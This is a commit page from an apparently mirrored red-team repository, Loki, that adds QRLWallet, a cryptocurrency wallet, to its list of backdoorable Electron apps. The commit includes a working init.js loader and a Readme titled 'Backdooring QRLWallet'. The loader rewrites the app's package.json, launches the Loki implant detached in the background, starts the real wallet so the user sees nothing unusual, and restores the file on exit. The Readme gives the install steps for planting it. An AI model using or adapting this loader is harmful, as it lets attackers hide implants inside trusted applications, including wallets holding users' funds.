admin/boku7-Loki
1
0
Fork 0
mirror of https://github.com/boku7/Loki synced 2026-06-06 15:24:27 +00:00
Code Issues Packages Projects Releases Wiki Activity

Merge branch 'main' into main

Browse Source
This commit is contained in:
Bobby Cooke
2025-04-15 08:07:59 -07:00
committed by GitHub
parent 6383edb0a5 5c1793f44f
commit c38e208a60
4 changed files with 187 additions and 79 deletions
Download Patch File Download Diff File Expand all files Collapse all files
README.md
+1
View File
@@ -119,6 +119,7 @@ First you need to identify a vulnerable Electron application which does not do A
| ✅ | [KeeWeb](https://keeweb.info/) | `KeeWeb.exe` | | [j0hnZ3RA](https://github.com/j0hnZ3RA) |
| ✅ | [Wordpress](https://apps.wordpress.com/pt-br/d/windows/)| `Wordpress.com.exe`| | [j0hnZ3RA](https://github.com/j0hnZ3RA) |
| ✅ | [Arduino IDE](https://www.arduino.cc/en/software/) | `Arduino IDE.exe` | | [j0hnZ3RA](https://github.com/j0hnZ3RA) |
| ✅ | [QRLWallet](https://www.theqrl.org/) | `QRLWallet.exe` | `1.8.1` | [OnlySmrtSumX](https://www.linkedin.com/in/onlysmrtsumx/) & [tideboss](https://www.linkedin.com/in/kursad-dev/)|
| ❌ | 1Password | `1Password.exe` | | |
| ❌ | Signal | `Signal.exe` | | |
| ❌ | Slack | `slack.exe` | | |
proxyapp/init.js → proxyapp/Cursor/init.js
+79 -79
View File
@@ -1,79 +1,79 @@
const { app, BrowserWindow } = require('electron');
const path = require('path');
const fs = require('fs');
const { spawn } = require('child_process');
const projectRoot = __dirname;
const packageJsonPath = path.join(projectRoot, 'package.json');
async function getPackageMain() {
return JSON.parse(fs.readFileSync(packageJsonPath, 'utf-8'));
}
async function modifyPackageJsonAndRelaunch() {
try {
const initPackageJson = await getPackageMain();
const originalMain = initPackageJson.main;
console.log(`originalMain: ${originalMain}`);
initPackageJson.main = 'main.js';
console.log(`lokiMain: ${initPackageJson.main}`);
fs.writeFileSync(packageJsonPath, JSON.stringify(initPackageJson, null, 2));
console.log('Updated package.json. Relaunching Electron...');
const loki = spawn(
process.execPath,
['.'],
{
cwd: projectRoot,
detached: true,
stdio: 'inherit',
}
);
loki.unref(); // Let it run independently
await new Promise(resolve => setTimeout(resolve, 1800));
const lokiPackageJson = await getPackageMain();
lokiPackageJson.main = './out/main.js';
lokiPackageJson.private = true;
lokiPackageJson.type = 'module';
console.log(`Changed packages.json "main" to "${lokiPackageJson.main}"`);
fs.writeFileSync(packageJsonPath, JSON.stringify(lokiPackageJson, null, 2));
console.log('Updated package.json. Relaunching Electron...');
// Launch real Cursor app
const cursor = spawn(
process.execPath,
['.'],
{
cwd: projectRoot,
stdio: 'inherit',
}
);
cursor.on('exit', async (code, signal) => {
console.log(`Cursor exited with code ${code}, signal ${signal}`);
try {
const resetPackageJson = await getPackageMain();
resetPackageJson.main = originalMain;
delete resetPackageJson.private;
delete resetPackageJson.type;
console.log(`Restored "main" to "${resetPackageJson.main}"`);
fs.writeFileSync(packageJsonPath, JSON.stringify(resetPackageJson, null, 2));
} catch (err) {
console.error('Failed to restore original package.json:', err);
}
app.quit();
});
} catch (error) {
console.log(`[!]Error : ${error.stack}`);
}
}
modifyPackageJsonAndRelaunch();
const { app, BrowserWindow } = require('electron');
const path = require('path');
const fs = require('fs');
const { spawn } = require('child_process');
const projectRoot = __dirname;
const packageJsonPath = path.join(projectRoot, 'package.json');
async function getPackageMain() {
return JSON.parse(fs.readFileSync(packageJsonPath, 'utf-8'));
}
async function modifyPackageJsonAndRelaunch() {
try {
const initPackageJson = await getPackageMain();
const originalMain = initPackageJson.main;
console.log(`originalMain: ${originalMain}`);
initPackageJson.main = 'main.js';
console.log(`lokiMain: ${initPackageJson.main}`);
fs.writeFileSync(packageJsonPath, JSON.stringify(initPackageJson, null, 2));
console.log('Updated package.json. Relaunching Electron...');
const loki = spawn(
process.execPath,
['.'],
{
cwd: projectRoot,
detached: true,
stdio: 'inherit',
}
);
loki.unref(); // Let it run independently
await new Promise(resolve => setTimeout(resolve, 1800));
const lokiPackageJson = await getPackageMain();
lokiPackageJson.main = './out/main.js';
lokiPackageJson.private = true;
lokiPackageJson.type = 'module';
console.log(`Changed packages.json "main" to "${lokiPackageJson.main}"`);
fs.writeFileSync(packageJsonPath, JSON.stringify(lokiPackageJson, null, 2));
console.log('Updated package.json. Relaunching Electron...');
// Launch real Cursor app
const cursor = spawn(
process.execPath,
['.'],
{
cwd: projectRoot,
stdio: 'inherit',
}
);
cursor.on('exit', async (code, signal) => {
console.log(`Cursor exited with code ${code}, signal ${signal}`);
try {
const resetPackageJson = await getPackageMain();
resetPackageJson.main = originalMain;
delete resetPackageJson.private;
delete resetPackageJson.type;
console.log(`Restored "main" to "${resetPackageJson.main}"`);
fs.writeFileSync(packageJsonPath, JSON.stringify(resetPackageJson, null, 2));
} catch (err) {
console.error('Failed to restore original package.json:', err);
}
app.quit();
});
} catch (error) {
console.log(`[!]Error : ${error.stack}`);
}
}
modifyPackageJsonAndRelaunch();
proxyapp/QRLWallet/Readme.md
+28
View File
@@ -0,0 +1,28 @@
## Backdooring QRLWallet and Keeping the application working as normal
**Important Note: This requires QRLWallet, to be ran as administrator, due to the permissions requirement of the default installation directory: Program Files (x86)**
For doing this you will need to:
- Download the QRLWallet app
- Paste all Loki files except `package.json` to `QRL\app-1.8.1\resources\app`
- Don't replace the real `package.json`
- Copy `/loki/proxyapp/QRLWallet/init.js` to `QRL\app-1.8.1\resources\app`
- Modify contents of `QRL\app-1.8.1\resources\app\package.json` to:
- set `"main":"init.js",`
### How this works
- With these changes `qrlwallet.exe` will load in `init.js` on click / execution
- `init.js` reads in `package.json`
- `init.js` changes `"main":"init.js",` -> `"main":"main.js",`
- `main.js` is Loki
- `init.js` spawns and disowns a new `qrlwallet.exe` which points to Loki
- __Loki is spawned in the background__
- `init.js` reads in `package.json` again
- `init.js` changes `"main":"main.js",` -> `"main":"index.js",`
- `index.js"` is the real QRLWallet application
- `init.js` spawns and disowns a new `qrlwallet.exe` which points to the real QRLWallet
- __Real QRLWallet app is spawned, visible and operates as normal__
- When QRLWallet is exited by the user:
- `init.js` catches the exit
- `init.js` reads in `package.json` for a third time
- `init.js` changes `"main":"index.js",` -> `"main":"init.js",`
proxyapp/QRLWallet/init.js
+79
View File
@@ -0,0 +1,79 @@
const { app, BrowserWindow } = require('electron');
const path = require('path');
const fs = require('fs');
const { spawn } = require('child_process');
const projectRoot = __dirname;
const packageJsonPath = path.join(projectRoot, 'package.json');
async function getPackageMain() {
return JSON.parse(fs.readFileSync(packageJsonPath, 'utf-8'));
}
async function modifyPackageJsonAndRelaunch() {
try {
const initPackageJson = await getPackageMain();
const originalMain = initPackageJson.main;
console.log(`originalMain: ${originalMain}`);
initPackageJson.main = 'main.js';
console.log(`lokiMain: ${initPackageJson.main}`);
fs.writeFileSync(packageJsonPath, JSON.stringify(initPackageJson, null, 2));
console.log('Updated package.json. Relaunching Electron...');
const loki = spawn(
process.execPath,
['.'],
{
cwd: projectRoot,
detached: true,
stdio: 'inherit',
}
);
loki.unref(); // Let it run independently
await new Promise(resolve => setTimeout(resolve, 1800));
const lokiPackageJson = await getPackageMain();
lokiPackageJson.main = 'index.js';
// lokiPackageJson.private = true;
// lokiPackageJson.type = 'module';
console.log(`Changed packages.json "main" to "${lokiPackageJson.main}"`);
fs.writeFileSync(packageJsonPath, JSON.stringify(lokiPackageJson, null, 2));
console.log('Updated package.json. Relaunching Electron...');
// Launch real QRLWallet app
const qrlwallet = spawn(
process.execPath,
['.'],
{
cwd: projectRoot,
stdio: 'inherit',
}
);
qrlwallet.on('exit', async (code, signal) => {
console.log(`QRLWallet exited with code ${code}, signal ${signal}`);
try {
const resetPackageJson = await getPackageMain();
resetPackageJson.main = originalMain;
delete resetPackageJson.private;
delete resetPackageJson.type;
console.log(`Restored "main" to "${resetPackageJson.main}"`);
fs.writeFileSync(packageJsonPath, JSON.stringify(resetPackageJson, null, 2));
} catch (err) {
console.error('Failed to restore original package.json:', err);
}
app.quit();
});
} catch (error) {
console.log(`[!]Error : ${error.stack}`);
}
}
modifyPackageJsonAndRelaunch();